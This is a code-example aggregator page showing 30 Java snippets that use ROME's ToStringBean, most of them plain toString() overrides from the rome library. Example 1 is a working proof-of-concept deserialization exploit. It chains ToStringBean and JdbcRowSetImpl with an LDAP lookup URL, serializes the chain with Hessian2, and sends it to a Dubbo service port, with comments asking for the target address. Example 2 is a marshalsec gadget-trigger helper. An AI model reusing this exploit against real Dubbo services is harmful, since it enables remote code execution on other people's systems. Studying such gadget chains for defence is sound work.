Java Code Examples for com.rometools.rome.feed.impl.ToStringBean

The following examples show how to use com.rometools.rome.feed.impl.ToStringBean. These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source Project: learnjavabug   Source File: RomePoc.java    License: MIT License 4 votes vote down vote up
public static void main(String[] args) throws Exception {
  JdbcRowSetImpl rs = new JdbcRowSetImpl();
  //todo 此处填写ldap url
  rs.setDataSourceName("ldap://127.0.0.1:43658/Calc");
  rs.setMatchColumn("foo");
  Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);

  ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
  EqualsBean root = new EqualsBean(ToStringBean.class, item);

  HashMap s = new HashMap<>();
  Reflections.setFieldValue(s, "size", 2);
  Class<?> nodeC;
  try {
    nodeC = Class.forName("java.util.HashMap$Node");
  }
  catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
  }
  Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
  nodeCons.setAccessible(true);

  Object tbl = Array.newInstance(nodeC, 2);
  Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
  Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
  Reflections.setFieldValue(s, "table", tbl);

  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

  // header.
  byte[] header = new byte[16];
  // set magic number.
  Bytes.short2bytes((short) 0xdabb, header);
  // set request and serialization flag.
  header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

  // set request id.
  Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

  ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
  Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
  NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
  sf.setAllowNonSerializable(true);
  out.setSerializerFactory(sf);

  out.writeObject(s);

  out.flushBuffer();
  if (out instanceof Cleanable) {
    ((Cleanable) out).cleanup();
  }

  Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
  byteArrayOutputStream.write(header);
  byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

  byte[] bytes = byteArrayOutputStream.toByteArray();

  //todo 此处填写被攻击的dubbo服务提供者地址和端口
  Socket socket = new Socket("127.0.0.1", 20880);
  OutputStream outputStream = socket.getOutputStream();
  outputStream.write(bytes);
  outputStream.flush();
  outputStream.close();
}
 
Example 2
Source Project: marshalsec   Source File: Rome.java    License: MIT License 4 votes vote down vote up
default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception {
    ToStringBean item = new ToStringBean(type, obj);
    EqualsBean root = new EqualsBean(ToStringBean.class, item);
    return uf.makeHashCodeTrigger(root);
}
 
Example 3
Source Project: rome   Source File: Metadata.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Metadata.class, this);
}
 
Example 4
Source Project: rome   Source File: MediaGroup.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example 5
Source Project: rome   Source File: Thumbnail.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example 6
Source Project: rome   Source File: Category.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example 7
Source Project: rome   Source File: PlayerReference.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example 8
Source Project: rome   Source File: MediaContent.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(MediaContent.class, this);
}
 
Example 9
Source Project: rome   Source File: Hash.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example 10
Source Project: rome   Source File: Rating.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example 11
Source Project: rome   Source File: Text.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example 12
Source Project: rome   Source File: Restriction.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example 13
Source Project: rome   Source File: Credit.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(this.getClass(), this);
}
 
Example 14
Source Project: rome   Source File: MediaEntryModuleImpl.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(MediaEntryModuleImpl.class, this);
}
 
Example 15
Source Project: rome   Source File: ThreadingModuleImpl.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(ThreadingModuleImpl.class, this);
}
 
Example 16
Source Project: rome   Source File: AtomLinkModuleImpl.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(AtomLinkModuleImpl.class, this);
}
 
Example 17
Source Project: rome   Source File: Atmosphere.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Atmosphere.class, this);
}
 
Example 18
Source Project: rome   Source File: Forecast.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Forecast.class, this);
}
 
Example 19
Source Project: rome   Source File: Units.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Units.class, this);
}
 
Example 20
Source Project: rome   Source File: Astronomy.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Astronomy.class, this);
}
 
Example 21
Source Project: rome   Source File: Condition.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Condition.class, this);
}
 
Example 22
Source Project: rome   Source File: Wind.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Wind.class, this);
}
 
Example 23
Source Project: rome   Source File: Location.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Location.class, this);
}
 
Example 24
Source Project: rome   Source File: License.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(License.class, this);
}
 
Example 25
Source Project: rome   Source File: CreativeCommonsImpl.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(CreativeCommonsImpl.class, this);
}
 
Example 26
Source Project: rome   Source File: SleEntryImpl.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(SleEntryImpl.class, this);
}
 
Example 27
Source Project: rome   Source File: Sort.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Sort.class, this);
}
 
Example 28
Source Project: rome   Source File: Group.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(Group.class, this);
}
 
Example 29
Source Project: rome   Source File: PodloveSimpleChapterModuleImpl.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(PodloveSimpleChapterModuleImpl.class, this);
}
 
Example 30
Source Project: rome   Source File: PhotocastModuleImpl.java    License: Apache License 2.0 4 votes vote down vote up
@Override
public String toString() {
    return ToStringBean.toString(PhotocastModuleImpl.class, this);
}